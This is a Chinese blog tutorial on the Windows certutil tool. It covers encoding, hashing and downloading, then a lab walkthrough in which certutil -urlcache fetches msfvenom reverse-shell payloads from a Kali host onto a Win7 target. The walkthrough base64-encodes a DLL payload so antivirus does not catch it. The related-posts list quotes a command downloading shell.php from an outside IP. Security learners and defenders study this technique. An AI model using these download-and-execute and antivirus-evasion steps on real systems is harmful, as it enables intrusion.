Certutil工具(Windows命令行下载常用)

Windows神器certutil:证书解析、文件校验与密码安全实践 【Windows安全工具certutil实用指南】 本文深入解析Windows内置的certutil工具的核心功能与应用场景: 证书管理 使用"-dump"参数解析证书文件(.cer/.crt)和吊销列表(.crl) 可查看颁发者、有效期、公钥等完整证书信息 注意需指定完整文件路径,仅提示"命令成功"不代表实际解析成功 文件校验 支持MD5/SHA1/SHA256等哈希算法 示例:certutil -hashfile "setup.exe" SHA 阅读详情

工具介绍

certutil是windows下一款下载文件的工具,自从WindowsServer2003就自带,但是在Server 2003使用会有问题,也就是说,以下命令是在Win7及其以后的机器中使用。其功能可校验文件MD5,SHA1,SHA256,下载恶意文件和免杀
Certutil
Certutil是一个CLI程序,可用于转储和显示证书颁发机构(CA),配置信息,证书服务,CA组件的备份和还原以及验证证书,密钥对和证书链,它作为证书服务的一部分安装
在这里插入图片描述
作为系统工具的它为什么会成为一个攻击工具(后门)?看下面演示

功能介绍

编码

Certutil包含一个编码参数(编码)。这有助于在Base64中编码文件的内容。这是在Windows中等效于Linux中的base64命令。
不能打开.exe可执行文件时候,可以使用certutil对可执行文件进行编码。然后传输编码后的数据,然后在接收机上对其进行解码。
这里创建一个名为test.txt的文本文件,输入一些内容,打开powershell
命令:Add-Content test.txt “ni hao”
type .\test.txt
在这里插入图片描述
编码(base64)
命令:certutil -encode test.txt encode.txt
type .\encode.txt
在这里插入图片描述
编码(十六进制)
命令:certutil -encodehex test.txt encode2.txt
type .\encode2.txt
在这里插入图片描述

解码

解码(base64)
命令:type .\encode.txt
certutil -decode encode.txt decode.txt
Type .\decode.txt
在这里插入图片描述
解码(十六进制)
在这里插入图片描述

散列

获取数据并传递固定长度的输出字符串。使用哈希加密算法,例如MD5,SHA-1,SHA-256,可以验证两个文件是否相同。该校验和用于执行检查的散列值的数据完整性,这是一种文件签名。通过比较校验和,我们可以识别重复文件。
命令:certutil -hashfile生成指定哈希值
命令:certutil -hashfile test.txt md5(生成md5)
在这里插入图片描述
命令:certutil -hashfile test.txt sha1(生成sha1)
在这里插入图片描述
命令:certutil -hashfile test.txt sha256(生成sha256)
在这里插入图片描述

下载

certutil还可用于从互联网下载文件
这里从服务器下载xss.js
在这里插入图片描述
命令:certutil.exe -urlcache -split -f http://服务器ip:8000/xss.js
在这里插入图片描述
在这里插入图片描述

系统错误代码

Certutil可以帮助你找到系统错误代码的消息文本,查看系统错误代码的含义
命令:certutil -error 8200
在这里插入图片描述
命令:certutil -error 0x200
在这里插入图片描述

使用Certutil进行渗透测试

环境:攻击机(kali 192.168.211.129)
靶机(win7 192.168.211.128)

Certutil可在未经任何验证或评估的情况下主动从Internet下载文件

Certutil可用于将文件从一个系统复制到另一个系统,以在攻击过程中横向移动一些攻击工具或其他文件
这里用msf中的msfvenom生成一个反向链接负载
在这里插入图片描述
通过python传输
在这里插入图片描述
同时kali机器msf开启监听
在这里插入图片描述
在靶机上通过certutil下载该文件并运行
在这里插入图片描述
返回查看监听
在这里插入图片描述
成功反弹shell
在这里插入图片描述
成功使用certutil和恶意可执行文件来Getshell

提交恶意DLL编码

Certutil可对文件进行base64编码,攻击者可以使用经过混淆的文件来隐藏扫描攻击的证据,然后再解码这些文件,这就是certutil发挥作用的地方,可以解码数据并避免杀毒软件的察觉。Certutil还可以用于解码已隐藏在证书文件中的可移植可执行文件。
有效载荷可以被编码或加密,以避免被检测
还是生成有效负载,有效负载的格式在动态链接库文件.dll中设置,命名为dll.txt
在这里插入图片描述
开起监听
在这里插入图片描述
在靶机上下载该文件,并且谨慎进行,文件被下载为文本文件且被编译成另一个文本文件,此时下载的是两个文件
命令:certutil -urlcache -split -f http://192.168.211.129:8000/dll.txt | certutil -encode dll.txt edll.txt
在这里插入图片描述
然后进行解码并保存在exploit.dll(杀毒软件不会察觉),运行dll
在这里插入图片描述
查看监听
在这里插入图片描述
成功使用certutil和恶意编码的可执行文件Getshell

参考链接:https://zhuanlan.zhihu.com/p/107819644

windows Certutil工具 文章目录简介try it下载编码解码base64十六进制校验 简介 Certutil 是windows用来证书安装服务的工具,可用于下载、转储和显示证书颁发机构(CA),配置信息,证书服务, CA 组件的备份和还原以及验证证书、密钥对和证书链等。 既然它有下载、编码、校验等功能,被用到渗透中也就合情合理了。 下面介绍介绍它的功能 try it 下载 下载命令: certutil -urlcache -split -f http://192.168.31.222:51212/temp.txt temp.txt 阅读详情

相关推荐

Windows上自带的渗透测试工具:Certutil

Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。下面,将介绍它在 Windows 渗透测试中的作用。

2301_79205724的博客 1862

在命令提示符下输入“certutil /?“来查看完整的命令参数列表和使用说明。

Certutil命令起源于微软Windows操作系统,用于执行各种与证书和密钥相关的操作。它是Windows操作系统中的一个命令行工具,最初引入于Windows 2000。Certutil的主要功能包括查看证书、导出证书、导入证书、验证证书链、生成密钥对等。它通常被系统管理员和安全专家用于管理和维护证书、密钥和证书颁发机构(CA)相关的任务。Certutil命令的设计旨在提供一种灵活而强大的方式来处理数字证书和密钥,以确保系统的安全性和可信度。

xcntime的专栏 2764

Windows CMD命令行下载文件:certutil、curl、bitsadmin工具详解与实战

命令行操作是计算机系统管理的核心技能之一,尤其在自动化脚本和服务器运维中至关重要。其原理在于通过文本指令直接与操作系统交互,绕过图形界面的资源消耗和限制,实现高效精准的控制。掌握命令行下载技术,能显著提升在受限环境、批量任务和后台传输场景下的工作效率。在Windows系统中,certutil作为内置工具提供了零依赖的下载能力,而curl则以其强大的协议支持和断点续传功能成为现代脚本的事实标准。这些工具在自动化部署、日志收集和软件包管理等应用场景中发挥着关键作用。本文聚焦于Windows CMD环境,深入解析

weixin_29229055的博客 387

Windows下的文件校验工具certutil

certutil是Windows下自带的命令行工具,主要用于处理和管理证书,除此之外,还可以用来校验文件的完成性。

Bileton的博客 1326

Windows原生命令行下载神器:Certutil -urlcache实战指南

Certutil是Windows系统内置的证书管理工具,其-urlcache参数意外提供了稳定可靠的HTTP/HTTPS文件下载能力。原理上依托WinHTTP API直连网络,不依赖PowerShell、不读取系统代理、不触发UAC,具备极低侵入性与高确定性。技术价值在于规避TLS协商失败、代理配置冲突、执行策略限制等企业内网高频问题,特别适合离线环境、受限终端和自动化部署场景。本文深入解析Certutil下载机制、参数组合、典型应用及排错实践,覆盖GitHub Release下载、内网HTTPS资源获取、

weixin_32822843的博客 299

win10下使用certutil工具对文件的SHA1、MD5和SHA256哈希结果做验证(超简单,附图)

初步介绍       众所周知,当我们从网上下载软件时,发行商为了保证用户在下载过程中自己的软件没有被更改,都会通过一些哈希函数来确保他们软件的完整性。比如:在网上有一些攻击者会在其中植入像插件,广告或病毒等等恶意代码,相信一些朋友有过类似的体验,特别是在从非官方的网站上下载安装软件的时候。       所以用户是有必要对软件的完整性做一个检验的,目前常用的哈希函数是SHA256(因为它更

Little_ant_的博客 6941

Windows命令行文件下载方式汇总

IPC$(Internet Process Connection)是共享"命名管道"的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问。其实还是依赖于WScript.shell这个组件,在这里我们使用JSRat来做演示,JSRat是一个命令和控制框架,仅为rundll32.exe和regsvr32.exe生成恶意程序。

mhgjddev的博客 9759

Windows自带渗透工具Certutil介绍(免杀、哈希计算、md5、sha256、下载文件、base64编码)

目录 Certutil 环境 编码 解码 散列 下载 系统错误代码 使用Certutil进行渗透测试 提交恶意可执行文件 提交恶意 DLL 编码(免杀) 有效载荷可以被编码或加密,以避免被检测(免杀)。 Certutil 是 Windows 操作系统上预装的工具,可用于 校验文件MD5、SHA1、SHA256,下载恶意文件和免杀。 本文仅供学习使用,请勿用于非法操作,后果与作者无关。 下面,将介绍它在 Windows 渗透测试中的作用。 Certutil Certutil

墨痕诉清风的博客 7832

渗透中Windows利用Certutil进行文件下载

是一个合法Windows文件,用于管理Windows证书的程序。此合法Windows服务现已被广泛滥用于恶意用途渗透中主要利用其下载、编码、解码、替代数据流等功能可以在命令行用certutil -?

大河之犬的博客 4228

certutil工具的用法

certutil certutil也是windows下一款下载文件的工具,自从WindowsServer 2003就自带。但是在Server 2003使用会有问题。也就是说,以下命令是在Win7及其以后的机器使用。 远程下载 certutil -urlcache -split -f http://114.118.80.138/shell.php #下载文件到当前目录下 certutil -urlcache -split -f http://114.118.80.138/shell.php c

谢公子的博客 8173

Windows 10 命令行计算文件哈希值:CertUtil

Windows 10原生哈希校验指南(150字摘要) Windows 10虽无md5sum命令,但内置工具可完美替代: CMD方案:使用certutil -hashfile "文件路径" MD5,支持拖拽文件路径,可替换算法为SHA1/SHA256等 PowerShell方案:Get-FileHash -Path "路径" -Algorithm SHA256默认更安全,支持管道批量处理 安全提示:MD5存在碰撞漏洞,安全场景务必使用SHA256 扩展方案:通过Git/WSL或自制脚本实现Linux风格命令

数字人生 215

Windows原生命令行下载神器:Certutil实战指南

Certutil是Windows系统内置的证书管理工具,因其底层依赖WinHTTP API而天然具备HTTP/HTTPS下载能力。它不依赖PowerShell、无需额外安装、绕过执行策略限制,成为受限环境(如组策略禁用、EDR拦截、最小化容器)下最可靠的命令行文件获取方案。其核心参数-urlcache -split -f可实现静默、无痕、高兼容性的远程资源落地,在渗透测试、内网运维、离线部署等场景中展现出独特技术价值。本文详解Certutil下载原理、实操语法、代理配置、避坑要点及生产级BAT封装,覆盖从基

weixin_32308101的博客 133

XPe开发初体验(一)XPe概述

XP Embedded是微软Windows Embedded产品线中非常重要的一环,不过比起大名鼎鼎的Windows Embedded CE,XPe显得过于低调了。在接下来的一段时间里,我希望能够用六篇的篇幅来描述一下XPe的整个开发过程。这个系列文章主要是针对有Windows编程经验,但是没有嵌入式开发经验的开发者,提供一些概念和开发过程的初步介绍。XP Embedded是一个基于Windo

aawolf = new Mobile.MVP 1万+

Windows命令行通过certutil命令查看文件的MD5-SHA1-SHA256校验值

Windows系统中通过 “certutil -hashfile 文件名 hash算法” dos命令可以查看文件的MD5,SHA1,SHA256 哈希校验值,无需第三方工具。并推荐一个在线查看文件的各种哈希校验值: https://www.atool99.com/file_hash.php 。

第七宇林的博客 1万+

告别死记硬背!用业务场景驱动理解SAP PS OPSA参数文件配置

本文通过制造业新产品研发项目案例,详细解析SAP PS模块中OPSA参数文件配置的实际应用。从项目立项、WBS分解到研发物料管理,系统讲解关键配置项的业务价值,帮助用户告别死记硬背,实现业务场景驱动的参数配置学习。特别适合制造业项目管理人员提升SAP PS配置效率。

weixin_30415113的博客 477

IntelliJ IDEA 中git使用说明书

IntelliJ IDEA 中git使用说明书

junyang2012的博客 5379

Windows 内置下载工具

前言 今天来学习两个Windows下内置工具的使用: bitsadmin certutil Bitsadmin 1、自Win7开始系统默认包含Bitsadmin,是一个命令行工具,可用于创建下载或上载作业并监视其进度。它也可通过powershell调用,名称为BITS cmdlets。 2、bitsadmin是windows 后台智能传输服务的一个工具,windows 的自动更新,补丁之...

prettyX的博客 3100

汇川AM系列后台安全管理与用户权限的设置方法

汇川AM系列后台安全管理与用户权限的设置方法。

viixin的博客 8418

Windows系统自带certutil工具的妙用-计算摘要

1、作用 what 为了判断文件的完整性是否造成了损坏,需要计算全文件摘要,计算摘要的算法很多,常见有MD5、SHA1、SHA256算法。 而Windows系统自带certutil工具,支持计算MD5值、SHA1值、SHA256值的算法。 2、在哪儿where 在macOS下可以直接在terminal里使用md5命令校验md5值。 可素我不知道Windows下shell中也集成了专门的工具用来校验文件的MD5值、SHA1值、SHA256值的, 其实就是 C:\Windows\System32 .

liixnhai的博客 2188

OpenHarmony自定义Launcher

OpenHarmony源码版本:4.0release开发板:DAYU / rk3568DevEco Studio版本:4.0.0.600切换分支为OpenHarmony-4.0-Release,并下载源码。

Abner_Crazy的博客 1625

【Claude】Auto mode cannot determine the safety of an action 报错已解决

Claude Code Auto mode 安全分类器报错完整解析,涵盖 temporarily unavailable、could not evaluate、transcript exceeded 三种情况的根因与处理

博客 9903

Windows的“双刃剑”:深入解析Certutil的攻防艺术

微软签名的certutil.exe常被攻击者滥用为"多功能特工",用于文件下载、数据编码和系统侦察。本文深入剖析其LOLBAS攻击手法,包括通过-urlcache参数下载文件、-encode/-decode进行数据混淆等隐蔽操作。针对此类威胁,提出蓝队防御策略:启用进程命令行审计(事件ID 4688)、部署EDR行为链分析、实施严格出口流量过滤。强调现代防御需从静态检测转向动态行为分析,构建基于Sysmon和EDR的"天网"系统来识别合法工具的恶意行为。

专注于网络安全攻防技术与安全运营(SecOps)实践。 789

使用HART Server PC软件进行HART设备的组态、调试和分析的完整指南

HART协议是一种用于工业自动化中的双向通信协议,能够在4-20mA模拟信号的基础上叠加数字信号,从而实现设备的远程监控和管理。HART协议兼具模拟和数字通信的优点,被广泛应用于过程控制系统中。设备组态:通过软件可以对HART设备进行组态,配置设备参数。设备调试:支持设备的在线调试和故障诊断,方便快速解决问题。数据分析:提供设备运行数据的实时监控和历史数据分析功能。报表生成:支持生成各类报表,便于数据记录和管理。

qq_38334677的博客 2456

Windows原生命令行下载:certutil-urlcache原理与实战

命令行下载是跨平台自动化部署的基础能力,尤其在受限环境中需依赖系统原生工具。certutil作为Windows内置证书工具,其-urlcache功能意外成为HTTP GET下载的合法通道,本质调用WinINet网络栈,继承IE代理、证书信任和重定向机制。该能力不依赖PowerShell或.NET,适用于高安全策略场景,但存在协议限制(仅GET、无认证、不支持chunked编码)和缓存风险。结合URL编码规范、超时重试、哈希校验及错误码诊断,可构建稳定可靠的下载流程。本文深入解析certutil-urlcac

weixin_28452161的博客 235

AI上推荐 之 逻辑回归模型与GBDT+LR(特征工程模型化的开端)

1. 前言 随着信息技术和互联网的发展, 我们已经步入了一个信息过载的时代,这个时代,无论是信息消费者还是信息生产者都遇到了很大的挑战: 信息消费者:如何从大量的信息中找到自己感兴趣的信息? 信息生产者:如何让自己生产的信息脱颖而出, 受到广大用户的关注? 为了解决这个矛盾, 推荐系统应时而生, 并飞速前进,在用户和信息之间架起了一道桥梁,一方面帮助用户发现对自己有价值的信息, 一方面让信息能够展现在对它感兴趣的用户前面。 推荐系统近几年有了深度学习的助推发展之势迅猛, 从前深度学习的传统推荐模型(协

Miracle8070 8232

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

上一篇: XSS-labs通关
下一篇: 烂土豆提权(MS16-075)--令牌窃取提权
qieziwa(boy)
博客等级 码龄7年 5704粉丝 160原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值